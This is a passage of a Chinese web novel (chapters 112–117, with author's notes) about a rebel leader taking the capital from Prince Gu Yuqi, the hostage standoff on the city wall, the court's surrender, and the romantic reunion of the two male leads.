作者有话要说: 谢善鸣:逐渐地理解谢善丰,谢善淩真的令人崩溃[爆哭] 谢善丰:无所谓吧,反正四殿下败了,爱咋咋[摊手][化了] 这一章是补之前的更。今天的更新又要欠一下[捂脸笑哭]尽量晚上更(但不一定)现在才写了几百字,马上就要出门了。抱歉抱歉[爆哭] 第112章 ◎“杀了她祭旗,准备迎战。”◎ 城墙之上接连又来人禀报城中各处大小骚乱, 无不是匪军的暗桩故意挑起,事儿不大,人溜得快,似乎只是某种警告和提醒, 让人知道他们存在。 最令顾裕骐恼火的是, 即便知道也很难办。匪军竟能在皇城底下、东厂的眼皮子底下悄无声息安插这么多卧底, 也不知是从何时开始的。 他到底是轻敌了,一贯以来没想到区区匪乱也会有这手段, 这并不常见。 明明不过是一伙最底层的流民纠集起来而已,就算有些猛勇力气, 却不该有这样的筹谋,即便领头的顾裕帧、宋淮安有脑子, 甚至于谢善淩也参与了进去,可他们从哪里找到那么多也能行事的贱民? 然而事到如今再计较这个问题是于事无补,也根本没有这个时间。 顾裕骐冷静下来, 对将灵说:“你武力高强,去太庙一趟。皇帝在谢善淩的手上,暗卫投鼠忌器害怕担责, 不敢硬来, 而你只要能让皇帝还有一口气地被你救回我们手上,百官自有动摇。” 他深呼吸一口气,森森道,“我刚刚已让人将谢府内人都驱赶到院中牢牢看紧……你告诉谢家子弟,若在此时回头,我会看在谢老太师的面上小惩大过, 可若他们一意孤行, 京城被匪军攻入那刻, 也是他们家人人头齐落的一刻。” 将灵没有多说,转而纵身一跃,脚下轻点便施展轻功朝太庙方向急急而去。 顾裕骐看回秦青的身上。这三千匪军已经整装完毕,蓄势待发。 “时间已经给你太多了,我没有耐心了。”秦青说。 “我也是。”顾裕骐冷冷道,“谢善淩料到了他的家人会为他的狂妄和愚蠢而付出什么代价吗?还是他以为,仅仅有一个谢家女嫁给我,就能在这种时候保全谢家?所以他才这么肆意妄为?” 秦青摇了摇头,冷笑起来:“自你娶潘凤起,谢善淩就绝不对你再有这样的信任。他说你只是一个为了权势不择手段之人,女人只是你用以自怜自爱的工具,你爱的不是她,而是竟也有人爱的你自己。你这样的人其实原本也不配得到爱。” 顾裕骐眼中越发沉了下去,戾气横生。可面上依旧冷静,道:“你不必故意说这些来乱我心神,我只要你知道,你们也有把柄在我的手上。若原本堂堂正正打败孙瑛和豲戎援军而来,胜败乃兵家常事,我不会以人家人威胁,是你们先不讲道义。” 他话音刚落,便有小兵押着一个女人来到墙边。 顾裕骐淡淡地朝女人道:“得罪了,郡主,谁让你有个好儿子儿婿。” 秦青一时没再叫嚣,顾裕骐瞥他一眼,笑了笑。 佘郡主脸色苍白,却神情严肃而倔强,她唇角紧抿,眼神复杂地看着下面的贼首秦青。 她今日没去太庙,原本在家中随婆母烧香礼佛。她其实不好此道,平时也就拜拜祖先和死鬼丈夫,可皇帝逼立谢善淩一事令她心神难稳。 突然一伙锦衣卫就闯了进来,发现谢聪被打晕,“大皇子”不翼而飞。紧接着便来了更多人将谢府家眷都圈在院中团团围住,如同看守犯人一般。 她上前斥问,得到的回答是一直以来的“大皇子”是人假冒,而谢善淩知道此事。更有甚者,这就是谢善淩谋划的。 那些人说,大皇子是白龙匪军的秦青,而谢善淩与白龙匪军素有勾结,此刻甚至还挟持了皇帝,谢家子弟也反了。 众人面面相觑,最后齐刷刷将目光投向坐在最中央太师椅上的谢老太师,一时寂静无声。 谢老太师一直拉着妻子的手以示安抚,此时朝众人道:“不必惊慌,一切皆有定数。” 他没有说更多。 再然后,佘郡主就被他们强行带来这里了。 “不问候一下久违的岳母吗?顾裕帧。”顾裕骐问。 秦青这才开口,缓缓问:“事情到了这一步,难道我将王妃的母亲带到阵前,你就会因此开城门吗?若不然,你凭什么认为我会为了自己的岳母放弃攻城?” 佘郡主的脸色越发没有血色,身体在强风中显得十分脆弱。可她依旧一言不发,没有求饶,也没有斥问秦青。 “一将功成万骨枯,谢家人的牺牲早在我的谋算之内。”秦青摘下了那块狰狞的面具,露出面具下冷峻漠然的脸。 他与佘郡主对视片刻,随后移开了目光,看向顾裕骐,语气里没什么感情。 “托你母妃的福,我母后难产而亡,我一出生就被送去佛寺遭受磋磨,在提心吊胆中长大,又流落民间吃尽苦头。你不会认为我还有什么真情可言吧?” “你以为我会信?”顾裕骐道,“那你拿箭射穿她的胸膛。” 顾望笙看他的眼神有些变化,嫌弃道:“你脑子有病吧,我为何要刻意这么做?就为了证明给你看?有什么好处?懒得跟你废话,时辰已到,吹号击鼓,准备攻城。”最后几句是对身边兵士说的。 很快,一声号角就划破了长空,鼓声震天。 顾裕骐看了眼佘郡主:“你儿子儿婿都不在意你的性命,九泉之下你也怪不到我……”随后朝一旁小兵道,“杀了她祭旗,准备迎战。” 小兵重重应了一声,将佘郡主拽去大旗底下,立刻过来几个小兵准备扎高台作为行刑之地,好让人看得更清楚一些。 杀人祭旗原就是为了立威示众,顾裕骐没在意这些流程,他牢牢注意着秦青的反应。 秦青竟果真没有一丝在意,又或者将在意隐藏了起来,冷着脸和身旁副将在说着什么,眼神时不时瞥向身后的三千人队伍,偶尔指一指各处,似乎是在指挥一会儿的攻城之事。 小兵跑来殷勤道:“王爷,准备好了,王爷亲自动手还是?” 顾裕骐一顿,不由看了这憨头憨脑的小兵一眼。 他现在有几分理解刚刚顾裕帧问自己是不是脑子有病了,因为他也想问这小兵是不是脑子有病。 佘郡主就算不是自己的岳母,好歹也沾亲带故,养出个反贼儿子,杀了也罢,可自己何苦亲自动手落下这把柄?人之常情。 “就你去吧。”他淡淡道。 小兵领命而去。 顾裕骐看向秦青:“顾裕帧,我再给你最后一次机会……” 顾望笙打断他的话:“我再给你最后一次机会,是开城门投降,还是一战?若是其他的,你不必废话拖延时间。” “将灵已经去太庙了。”顾裕骐说,“佘郡主和谢府上下几十条命你不在乎,谢善淩的呢?” 顾望笙冷漠的脸上忽的露出了笑容,好像他说了一件很好笑的事。 他正要判断对方是在虚张声势强撑,顾望笙说:“我不理解你为什么会相信将灵和你大难临头不会各自飞,就像我不理解将灵为什么坚信谢善淩真的爱过他。可能是因为你俩实在是太缺爱了,有妄想症。” 顾裕骐一怔。 “东厂真是越来越不行了,还没有发现吗?”顾望笙说,“我在一炷香前就已经知道了将灵从承岳门逃走了,他现在正赶往水城救豲戎军。顾裕骐,没有人是你的支撑,所有人都会背叛你,包括你的亲生父亲、亲生母亲、同胞弟弟,以及你以为的盟友。” “……” “王爷!王爷!王妃……”又有慌急的声音传来,顾裕骐听着耳熟,回头一看竟是楚王府的人。他心中猛地一沉,问:“怎么?!” “王妃她……她不知从哪里知道了外面的事,小的们明明听从王爷的话竭力隐瞒……”这人气喘吁吁道,“王妃还是知道了,非要回谢府……小的们去拦,她拔出王爷您的剑一路谁拦砍谁……小的们本就不敢对王妃动手,王妃还说她已怀有身孕,小的们就更……实在是不知如何是好啊!!” “……” 婉柔?!她去哪儿怀孕?! 作者有话要说: 谢婉柔:这你别管。 第113章 ◎若站在他们的立场上去看,谢善淩觉得自己确实该揍。◎ 顾裕骐深呼吸几口气, 稳了稳心神,环视早已上墙严阵以待的弓弩手和投石车,沉声说:“一旦攻城,泼火油。” 立刻便有小兵推来几个巨桶, 掀开严实的油布盖, 里面是粘稠的黑色液体, 气味十分刺鼻,随风飘散到城下也能闻到。 副将张达吸了吸鼻子, 皱眉道:“火油。” 顾望笙淡淡道:“不用担心。” 张达看一眼他成竹在胸的样子,顿时也放下心来。秦青虽行事不爱多解释, 但这人实在,说不用担心那就是不用担心。 张达曾是莲云寨的大当家, 他祖上当私盐贩子起家,后来洗白从商,说实在的也不算多清白, 和官府颇有勾结,暗地里仍然做些走私买卖。无奈那些狗官的胃口越养越大,索取无度, 一有不满足就动怒。 到了张达这一代, 有个狗官来他家赴宴,酒后起了淫|性,看上了张达他娘那风韵犹存的寡妇。张达自是不愿,便婉拒了。 狗官恼羞成怒,回头就使尽法子刁难张家,意图逼迫张达服输将老娘送上。其实女人不女人都不重要了, 重要的是张达竟敢忤逆他。 张达脖子硬, 就是不从。 可自古都是民不与官斗, 富商也是民,因为权势大过天,斗不过。 张家受到重创,张达心一横,将私产变卖转移,带着全家上山投奔附近的莲云寨落草为寇,很受老寨主器重,过世时将独生的女儿和寨子都托付给了他。 后来莲云寨确实在张达夫妻的打理下发展得很好,要钱有钱,有粮有粮,要人有人,难得还不为难普通百姓,只针对恶霸酷吏,将“义”字做到极致,十里八乡的年轻人即便不是走投无路的也对之有些向往好感。 莲云寨发展最鼎盛之时,已经和一个独立的小国差别不大了。而秦青就是在这个时候递送拜帖要与他见面一谈。 当时白龙义军起势不久,但张达听过一点名声事迹,想了想,也好奇对方究竟想怎样,就答应了对方上山来谈。 秦青和宋淮安仅仅两人前来,没带兵器,两手空空和张达谈莲云寨收编并入白龙义军的事。 张达夫妇起初以为他们说笑呢!可谈了三天三夜,夫妇二人动摇了。 原本他二人乃至于寨子里很多老人,或自己或祖辈,都曾深受昏聩朝廷的迫害才走上这条离经叛道之路,秦青和宋淮安为他们展望了回归正轨的蓝图。 不止如此,秦青和宋淮安的野心不止是改朝换代,而是海晏河清,百姓安居乐业。这是令张达等人下定决心的关键。 穷则独善其身,达则兼济天下。这是一个很崇高的理想。 秦青说,有能力者而不心怀天下,便如猛兽,空有威严却只懂横冲直撞,虽有享受,到底一生空度。到老时回首几十年,不怅然吗? 张达想了想,确实是挺怅然的。 后来,他就成了秦青的副将。 …… “放信号。”秦青说。 张达点头,从怀中取出一枚信号箭放入云中。 城墙上的顾裕骐看着紫色的烟雾伴随着嗖——的尖锐声响在天空四散弥漫,心知对方大概是闻到了火油的气味,也忌惮投石车和弓箭手,到底不敢以区区三千人强硬攻城,而是要从城内下手,发信号给城内的暗桩。 他已经下令全城戒严,若有擅自出现在街上者格杀勿论! 然而…… 京军营已叛变一部分,剩下的很难说会怎样。 其他京中武装力量的关系盘根错杂,皇帝又被谢善淩挟持着,听说那个国师都在一边帮腔说都是天意,文武百官越发动摇。 谢善淩当众说破了秦青就是大皇子顾裕帧这个秘密。 他历数当年,皇帝因猜忌蔺家功高盖主,不愿立大皇子为太子、害怕危及皇位,因而默许菅贵妃趁皇后虚弱之时下杀手,而后以借口将大皇子送去佛寺,再度默许菅贵妃对皇嗣屡次刺杀。 国师已然倒戈,不顾皇帝虚弱的叱骂,说出了当年为大皇子批出强龙之命而皇帝因而对亲子起杀心的事。 舆论越发哗然。虎毒尚且不食子,若是四皇子那样造反的逆子都能理解,可当年的大皇子只是襁褓中的婴儿啊! 后来大皇子遭遇了种种磋磨长大,他现如今造反……越想越能理解。 再者说,这样一来,大家投降白龙义军在为臣道义上无可指摘,不必担心被说贪生怕死投二主……甚至相当正义。 ……如此以来,顾裕骐唯一能信得过的只有东厂和锦衣卫。然而若其他人都反了,这俩的力量便是以卵击石。 可是如今也只能以卵击石了。 他已经看到了败势,然而即便是一败,他也不甘心投降。即便是一败,直到最后一刻将血流尽而亡,也不甘心就让顾裕帧顺利得意…… 反正,如顾裕帧所言,自己这短又漫长的一生从无支撑,所有人都会厌恶、离弃、背叛自己。也许将这作为这荒唐的一世的结束很好。 这一刻,他心中如同黑夜里冰封的雪原,再无希望。 “王爷。” 这道声音不大,顾裕骐一怔,过了下才反应过来,以为是错觉,但还是回过头循声去看。看到的一瞬间,仍然错愕地以为是眼花。 直到谢婉柔来到身前,顾裕骐差点忘记呼吸,愣愣地看着她,许久才声音嘶哑地问:“你……你不是回谢府……” 他有点结巴,不知如何面对她。 她手上还提着剑,他垂眸飞快地看了一眼,剑上有点血迹,但不多,刚刚报信的人说一开始大家不信她会真砍,仍然挡着她的去路,发现她来真的才受惊让开,可那时她只是警告表决心,没砍太重,那人无大碍。 他没有伸手夺走她的剑,也不打算责怪她。她与他不一样,她的家人对她很好,而他这样不好,她弃他而选家人是理所应当。何况以如今局势,就算她没那么做,他其实也会让人保护她直到谢府接她回去。 他贪恋地看了她一会儿,轻声说:“我让人送你回谢府。” 说着就要叫人,却被她拉住了手。他又是一愣,讶然看她。 “大势已去,何必徒增牺牲?”她问他。 “……这不是你该管的事。”他硬起心肠将她的手拉开,“来人,护送王妃去谢府。” 她却再度拉住他的手,这次用了力,明明她的力气再如何使对他而言也是微小,他却感觉这是自己所承受过最大的力度。 “其他人也都有妻子,你想护我周全,想过其他人吗?他们还有父母、孩子……”谢婉柔含泪看着她,哽咽道,“已经赢不了了,你为何还要带着那么多的人白白送死?” “……送王妃——” “奕明!” 顾裕骐脸色变换不定,一时再没说话,只是呆呆看着她。 “奕明,放过其他人吧。”她流着泪哀求他,很软弱的样子,却是为了其他人,除了他。 她最终也是选了所有的人,除了他…… 他正要硬起心肠抬手朝她后脖颈劈去,突的她扔掉剑扑入他怀中,在他还没反应过来时在他耳边低声说:“现在你还能逃得掉,逃吧,我和你一起,天涯海角我都和你去,只要我们安分不想不好的事,堂兄不会为难我们的。” “……” 他想笑她天真,却笑不出来。 他知道,顾裕帧和谢善淩不会放过他的,他们一定会斩草除根,追杀他到天涯海角。即便不杀,也会将他永远地关在天牢深处,若这样,还不如一死痛快。 可是…… …… “怎么没动静了?”张达有点忍不住了,一直盯着城墙上,偶尔看看秦青他岳母的身影,嘀咕道,“你岳母没事儿吧?从刚刚开始就没动了啊,吓晕了?” 顾望笙怎能不早料想到危急时刻顾裕帧会把谢家人带城墙上来威胁自己?他早有所布置,因而并不担心那边。 只是一时半刻他也不知道城墙上发生了什么。 他不动声色地看向墙头一个小兵,对方与他目光相接,握住旗杆的手幅度极小地做了几个手势,示意情况有变,让他先不要动作。 “不要急躁,继续整军待战。”顾望笙对身旁的张达说。 * 谢善鸣竭力隐下心中担忧,叮嘱信得过的人继续盯紧现场,他假装无事,走上玉阶来到谢善淩身边,嫌恶地看了眼已经昏死过去的昏君,低声问:“怎么大……秦……他迟迟没有动静?家里都被楚王挟制住,把郡主带去了城墙上,要杀她祭旗。我想还是不要瞒你,你自己斟酌。” 谢善淩平静道:“事到如今能斟酌什么?” “你!”谢善鸣的眉头紧紧皱起,却也不知能说什么。 好在谢善淩很快就对他说:“大哥不必担忧,我有分寸。” 你最好真有……谢善鸣无声地叹了口气,眉头依旧没有松下来。 也许谢善淩和那个大皇子秦青顾裕帧随便叫什么都行吧的家伙真的会赢,可楚王又怎会甘心?想必会负隅抵抗、背水一战。 到时不止谢家,京中人人都可能会因这场战乱而生死别离。 谢善淩很快地看了他一眼,看向台下不远处的谢善丰,做好了之后被他们揍的准备。这回长辈们应该不会阻拦,能不出手一起揍已经不错……几率不大。 到时候再说吧……若站在他们的立场上去看,谢善淩觉得自己确实该揍。 第114章 ◎果然,秦青就是很冷峻,别有一番风味。谢善淩的心跳都快了几分。◎ 太庙前, 正当所有人都在为不明的未来焦虑不已时,突的听到一阵齐整的马蹄声由远而近,并不算急,却很沉重地踏在每一个人的心上。 众人齐刷刷望向入口。 谢善淩也看向那里, 他也有些紧张, 只是不显。他只是一个人, 不是神,没有人可以算无遗策, 人心可以算计,但不一定能算计成功。 忽的, 他侧脸看了眼不远处的国师。他的余光注意到国师与旁人不同,从刚刚起就一直在盯着自己看。 见他看过来, 四目相对时,国师朝他微微一笑。 谢善淩迟疑了一下,收回目光继续看入口方向。 自从谢善淩挟持昏君、谢善鸣等人控制现场事态, 这个国师一直没有异动。但谢善淩还是让人将他围住看守,他也没有反对。 不知道究竟在想些什么。待事了,也不知如何安置这个人。 心思流转间, 高头大马出现在了入口。 马蹄稳重地一步步沿着红毯走来, 载着身穿白色铠甲的男人。此刻天已完全放晴,热烈的阳光照在冷冽的银光上,红缨长枪横卧,锋芒毕露。 再靠近些,众人看清男人没有面具覆盖的面容,虽然刚刚已经知道秦青的真实身份, 已经震惊过一次, 此刻再度哗然。 顾望笙的目光如同寒星一般锐利而坚定, 看着玉阶上的人。肩上披风被吹在身后飞扬,猎猎作响。 谢善淩无声地松了一口气。 赢了。赌赢了。 马停在阶下,顾望笙勒马转过身来朝向众人,左右环顾一周,议论的声音渐渐消失。 顾望笙大声道:“我乃白龙义军秦青!楚王顾裕骐已弃城叛逃,京城四门尽在我手,兵将皆已归顺。尔等旧臣若识时务,我依旧以臣礼待之,若有不臣之心,妄图负隅顽抗,便是以卵击石自取灭亡,我绝不姑息!” 众臣面面相觑,依旧没有言语。 顾望笙略停了停,再度环顾众人神色,然后继续道:“顾景胜身为天子却昏庸无道,宠信奸妃,任用权宦,不辨忠奸,杀妻害子,夺子之妻,更是勾结异族出卖大好河山,骄奢淫逸致使民不聊生,种种罪状,罄竹难书。我举兵起义,非为私仇,而是奉天行道,正道伐邪!” 皇帝本已幽幽转醒,听到这些话,虽看不清台下的人,但听得出这声音,顿时怒火涌上心头,正欲破口大骂,却急火攻心眼前一黑又昏死过去。 谢善淩原本听得正高兴,被老不死这一打岔,有些不悦,啪地一巴掌扇他脸上,没把他扇醒也无妨,发了气,继续看下面的顾望笙。 果然,秦青就是很冷峻,别有一番风味。谢善淩的心跳都快了几分。 顾望笙的一番话说完,太庙内外寂静无声了片刻,突的,人群中陈贤直先朝他跪下高声呼喊:“昏君无道,将军威德服人,义解京师,天命所归!臣愿归顺新朝,扶正社稷,没有二心!” 有了一个牵头的,原本就已动摇的群臣下意识跟着跪下,讪讪道:“臣等也愿归顺新朝,扶正社稷,没有二心……” 作者有话要说: 来不及得了,欠着欠着[爆哭] 第115章 ◎大皇子和谢善淩……先前是假成亲吧?为了造反勾结掩人耳目!◎ 顾望笙一时没说话, 他依旧跨坐马上,目光沉静而威严,缓慢地逡巡四周,几乎将每一个角落都扫到。这视线犹如实质, 沉甸甸压在众人头顶肩上。 许久之后, 顾望笙收回视线, 翻身下马,提着长枪一步一步走上白玉阶梯。 谢善淩与他对视, 看着他一步一步来到自己的面前。 比起刚刚,顾望笙的眼中多了几分柔情, 却只能暂且按捺,对身后跟上来的副将张达道:“将这个亡国之君带下去, 严加看守。” 再怎么想一枪攮死这个王八蛋,也不能真就当众弑父。眼下局势初定,谨慎为好。 张达领命, 从谢善淩手中接过昏君,五花大绑地捆好押下。 顾望笙接着看向一旁的国师。 就是这个人令自己自幼被送去圣林禅寺受尽磋磨。 ……不,罪魁祸首是顾景胜, 这人不过是推波助澜的一环。若没有他, 即算留在宫中长大,后宫多年由奸妃把持,自己也落不着好。 谢善淩凤命一事亦是顾裕泽揭发的,这个所谓的国师应昏君要求批算,若不是作假,那就是算出来确有其事, 倒也怪不上他。 而且刚刚他还挺识时务, 不知是故意还是巧合, 总之帮忙拖延了一点时间。 为此顾望笙并非很痛恨他,心中盘算着事了将这神棍软禁起来调查清楚,依照事实再论惩罚。 他便将视线移回了谢善淩的身上,再走近一步,伸出手来。 谢善淩垂眸看着他的手,迟迟没有牵上。顾望笙眼中的笑意淡了下来,审视着谢善淩的神情。 台下的人放松了一些,此时纷纷往上张望,相互使着眼神。 大皇子和谢善淩……先前是假成亲吧?为了造反勾结掩人耳目!他们很难不这么想。可是此刻大皇子的动作稍嫌暧昧了。 皇子断袖也就罢了,新君断袖这就…… 终于,谢善淩开口了。他整了整衣衫,端端正正地朝顾望笙拜下,声音清楚地传开—— “旧朝已覆,臣幸不辱命,今后定当竭尽忠心辅佐新朝,匡扶社稷。” 众人听清,心中暗道果然如此!就说先前怎么那样荒诞! 顾望笙的眼色沉了下来,忍住不悦,伸手扶谢善淩起身。谢善淩并未推拒,就此起身,可突的下一瞬天色又是一变,平地狂风骤起,脚下地面猛地一动。 顾望笙本能地将谢善淩拉到怀中护住,可比起之前此刻只有短短瞬间,天色就恢复刚刚,甚至日头有些反常的更亮了。 “龙凤和合,天命已定。”一直沉默的国师突的出声。 他脸上露出微微的笑意,朝顾望笙和他怀中皱眉的谢善淩道:“新君是强龙之命,谢大人是真凰命格,龙凤结合乃是大幸,顺应天道。” 怪不得昏君那么信这神棍,很会揣摩上意啊,很识时务。顾望笙正暗自这么想着,就听到谢善淩厉声叱喝:“休得胡言!” 谢善淩暗暗使力,示意顾望笙松开自己,顾望笙却不肯,低声道:“别多想,我皇后肯定是你,以后的事以后再说。” 谢善淩低声回应:“你先松手,回头再说。” 顾望笙想了想,松开了他,但下一刻就立刻握住了他一只手牢牢不肯再松,也不给他说话的机会,拉着他上前两步走到台阶旁朝下面说了番安抚臣心、恩威并施的话。 不过大家这会儿倒没那么在意他说的那些,眼睛都死死盯着这俩人拉在一起的手上,心中揣度这究竟是真断袖还是假断袖,还是说假戏真做? 作者有话要说: 顾望笙:悔教夫婿觅封侯啊你这是。 谢善淩:我不悔。 顾望笙:我特喵的悔!你也没说我创业成功就要被离婚啊! 谢善淩:以后搞地下情。 顾望笙:谁家好人搞地下情啊卧槽!@谢老太师夫妇@佘郡主@谢大伯@谢二伯@谢二婶@谢聪@谢善鸣@谢善丰@宋淮安@陈贤直@江泊润,你们评评理! 被艾特的众人:…… 第116章 ◎善淩,我爱你。◎ 场面看似稳了, 却还不敢掉以轻心,以保护的名义让各权贵大臣老实在家待着并且接受监视。 大家身心俱疲,不敢计较,也没心思计较这个, 各自回家去整顿今日七上八下的心情, 还得理理今后, 忙得很。 顾望笙直接入主宫内,自然要把谢善淩也带去, 手一直抓着不肯松开,当着众目睽睽谢善淩不好驳他面子, 只能假装无事发生。 谢善鸣跟了上来,欲言又止。 谢善淩明白他的意思, 轻声道:“派了人跟踪顾裕骐,婉柔没事的。” 谢善鸣的神情不好看,很是责备地盯着他。谢善淩自知理亏, 讪讪道:“待事情告一段落,我会回家请罪领罚……” “这是你领罚就能扯平的事儿吗”这话在谢善鸣的喉咙眼儿里打转,到底没在这时候发作, 忍耐地皱着眉头转身离去。 如今谢善鸣也有很多的事要做, 不当为了谢善淩和顾望笙这两个将家里人都骗得团团转的可恶家伙,而是为了京城的这么多百姓。若起乱,谁赢不说,头一个遭殃的都是百姓。 谢善淩看着他的背影,喃喃道:“这回我真要挨打了……” “那别回去了。”顾望笙接道。 谢善淩恹恹瞥他一眼,没往下接。顾望笙握他的手更紧了紧, 附耳道:“别怕, 到时我替你挨。” 谢善淩避嫌地躲了躲。 顾望笙一再碰软钉子, 不悦起来,没再示好,冷肃着一张秦青脸处理公事。只是手始终拉着。 直到夜深,顾望笙拉着谢善淩大摇大摆地走进老不死下令布置的椒房,谢善淩原本不情愿,被他硬拉来的。然而,两人进屋关门后,态度就互换了。 顾望笙火速松开手,蹭蹭几步远离他,双手抱胸盯着墙面生闷气。 谢善淩这会儿却热络起来,过去拉晃他手哄他。 顾望笙气不打一处来,不让拉,拉一下甩开一下。 这么弄了一阵,谢善淩依旧温温柔柔的,声音都比平时软几分,耐心解释:“如今已经够乱的了,就别节外生枝。” 顾望笙绷着脸说:“我知道你在想什么,趁早别想!那个国师都说了你我龙凤配天生一对,更好说了。” “私底下配不也挺好吗?你非得配到人眼前去?”谢善淩问。 顾望笙跟他急眼:“我跟你明媒正娶的正经夫妻,怎么就莫名其妙要私底下配了?那国师都说了……” 谢善淩打断他的话:“你怎么信上了那个神棍的话?” 顾望笙理直气壮:“我爱听的我就信。他那话说得就是很有道理很顺耳,我看就是真的。” 谢善淩好笑道:“还没登基呢,就开始昏君作派了?” 顾望笙冷笑一声没有作答。谢善淩不和他扯这个了,瞅他两眼,突然凑过来亲他脸。 顾望笙犹豫是否挣扎间已经被亲了好几下。 谢善淩摸摸他脸,有心再温声软语地多哄几句,可看着他嘴唇就有些蠢蠢欲动,忍不住咬一下,然后专心舔吻,像小猫吃到了喜欢的东西。不知不觉间谢善淩闭上了眼睛,越靠越紧,抱着顾望笙的脖子亲个没完,十分热情。 “……” 亲就亲,还哼哼!亲个嘴哼哼什么!又在使美人计!说起美人计,先前对着别人可没少使…… 顾望笙心里找着茬,手上却越发使力将人抱紧,恨不能揉进自己的身体里,和谢善淩打架似的相互用力去攻击纠缠对方的唇舌。 最后他将谢善淩抱了起来,走到床榻边坐下,两人仍旧抱在一起忘乎所以地缠绵。 不知过了多久,谢善淩有些呼吸不过来了,气喘吁吁地躲避。 好家伙,只管杀人不管埋?顾望笙哪肯干,追着憋死他。谢善淩躲无可躲,缩入他怀里用脸蹭他肩头示弱。 见他脸都憋红了,还这副姿态,顾望笙依依不舍地放过他,嘴上却依旧计较:“这会儿会撒娇了?抱这么紧?之前不挺硬气不搭理我、不要我了吗?” “我哪这么说了……你乱说话污蔑我……”谢善淩蜷在他怀里懒洋洋道。 顾望笙不依不饶:“你敢发誓要跟我撇清关系的人不是你?” 谢善淩过了好一会儿才又开口:“春宵一刻值千金,你真要浪费在跟我争那个上面吗?” 顾望笙板着脸说:“话不跟我说明白了,宵什么宵?我又白给你睡?” 谢善淩警告道:“差不多得了啊,你真是得了便宜还卖乖……” 顾望笙却越说越来劲:“我得什么便宜了?哪回不是我出全力?你干什么了?你就会提要求,要求还很多,一会儿这一会儿那,若我稍稍提个建议,你不是太晚了就是太困了以后再议。你说你是不是?怎么不说话了?心虚?” “……有完没完?”谢善淩问。 “没完!”顾望笙双手捧住他脸,充满恶意地往中间挤压,“把话说清楚,不然谁都别想睡。” 谢善淩扒拉他手没扒拉开,生气了,使劲儿打他示意他松手。 顾望笙挨了顿打,这才悻悻然松开手。 “你到底要不要那什么?”谢善淩质问道。 顾望笙没好气道:“哪来那心情!” 谢善淩有点遗憾地又瞅了眼他,要下去,他却又不让。“不是没心情吗?”谢善淩问。 顾望笙冷冷道:“一码事归一码事。” 如此僵持一阵,谢善淩靠回他怀里,抬手摸着他脸说:“你若还生气,那就是不喜欢我了……” 顾望笙更气了:“你还倒打一耙……” “我好想你。”谢善淩说。 顾望笙不说话了。 谢善淩继续道:“你都不知道我有多想你,又害怕,万一将灵起了疑心,没瞒过他去,那我肯定很惨……” 顾望笙明知他是故意这么说的,心中却依旧心疼不已。当时确实是谁也不能百分百确定安全。 不由得长叹一声,一只手将他搂紧,另一只手抚慰地摸他的头。 谢善淩哼道:“你一句慰问关怀都没有,还凶我,我主动示好你还不领情。” “明明是你先……算了,不说了。”顾望笙亲亲他的额头,柔声道,“我以后都不留你一个人。我每天也很想你,很担心你。你肯定又把药都倒掉,饭也不好好吃,好不容易长点肉,又瘦了。” “你就会花言巧语,说说而已。”谢善淩道。 顾望笙被他这一通娇气下来,心早就化了,顺着话道:“那你让我怎么样才不只是会说说?” 谢善淩眼珠子滴溜一转,抬眼看他,充满暗示。顾望笙接到暗示,立刻凑过来问他,解他衣带,却被按住了手。 “你表情不对。”谢善淩说。 “哪里不对?”顾望笙问。 谢善淩的事儿有点急,不装了:“冷峻一点,霸气一点……” “……”顾望笙气急反笑,“谢善淩你今儿是非得气死我是吧?你就是想秦青!” 那谁见着了能不想呢?没让把盔甲穿回去谢善淩觉得自己已经很不急色了。 “不准再想秦青!”顾望笙醋道。 谢善淩舍不得轻言放弃,循循善诱道:“秦青就不想我吗……” “……”顾望笙被他气得止不住笑,“谢善淩你可真是……” “秦青真不想吗?”谢善淩一下一下不轻不重地戳着他问。 顾望笙忍无可忍,将他翻过来摁在床上,逼近亲了下,低声沙哑道:“先别管他想不想了,我现在很想。”说完又来亲吻。 谢善淩手搭到他肩上,不死心地说:“你表情冷一些……” “冷不起来,”顾望笙看着他,眼中全是柔情,“和你在一起我都冷不起来,心都是软的,硬一点都怕刮伤你。善淩,我爱你。” 谢善淩一时就没什么好说的了,脸颊又微微地红了。眼珠子转了又转,最终抱住他小声埋怨:“爱我也不满足我那小小的要求,小气鬼……” 顾望笙闷笑道:“这事儿可不能大方……” 作者有话要说: 秦青:没问过我。 顾望笙:去歇着吧兄弟一路风尘仆仆累着了,接下来交给我。 第117章 ◎我们永远都会在一起,只有彼此。◎ 几番折腾, 终于到了夜深人静的时候。 顾望笙的臂膀上枕着要睡不睡的谢善淩,垂着眼眸,不知在想什么。 顾望笙看了他一会儿,忍不住又来亲亲他, 低声问:“刚刚不还嚷着累了么, 还不睡?” 说完便埋头在谢善淩脖颈间深吸几口气。谢善淩身上的气味总是令他眷恋和安心。 “睡不着。”谢善淩说。 顾望笙又看他:“怎么?” 谢善淩与他对视:“现在不会结束, 还有很多事……” “那是睡醒的事,睡醒再说。”顾望笙柔声道。 谢善淩点了点头, 可是依旧迟迟不能睡着。顾望笙笑着吓唬他:“不睡我就再做一回……” 谢善淩轻轻道:“随便你。” 顾望笙来了兴致,凑近他逗道:“真随便我?” “骗你干什么?”谢善淩道, “真随便你。” 顾望笙努力憋着嘴角的笑,虽然没怎么憋住, 问:“怎么突然随便我了?” 谢善淩一副光棍儿的样子:“反正我就一个,你要竭泽而渔就任你去,事后别后悔就行, 因为后悔也晚了。” 顾望笙低低地笑出声来,又亲他一下,说:“你都这么说了, 那我怎么还敢?我肯定悔不当初。” 过了一小会儿, 顾望笙叫他:“善淩。” “嗯?”谢善淩懒懒地应。 “就叫叫你……善淩。” 谢善淩又应了一声。顾望笙似乎玩上瘾了,再叫,谢善淩还是应,又宠溺又乖巧,令顾望笙爱极了,都不知道该如何是好, 将人搂紧了生怕飞走似的。 过了会儿, 顾望笙见谢善淩还是不睡, 揣摩着他的想法,强调道:“我肯定要立你为后的,善淩。我也绝不会娶别人,无论是男人还是女人,都不会。你总是想得很长远,我想你已经想到子嗣的事儿了……” 谢善淩不语,顾望笙觉得这就是默认。 他轻叹了一口气,说:“这事儿有很多解决的法子。何况,我与宋淮安之间已经有所默契,以前没细说是因为结果未定,说那些都是虚的,我与他生死兄弟不必要说虚的。” “可是你现在为这事儿挂心,我就先和你说说清楚。” “……你说。”谢善淩终于开口了。 顾望笙缓缓说道:“白龙义军是我与宋淮安一同组建起来的,无论是没他还是没我,结果都不知如何,我与他并不分高低内外。” “嗯,我知道,你说过。”谢善淩说。 “所以,若天下大定,我若不与他共分江山,说不过去。” 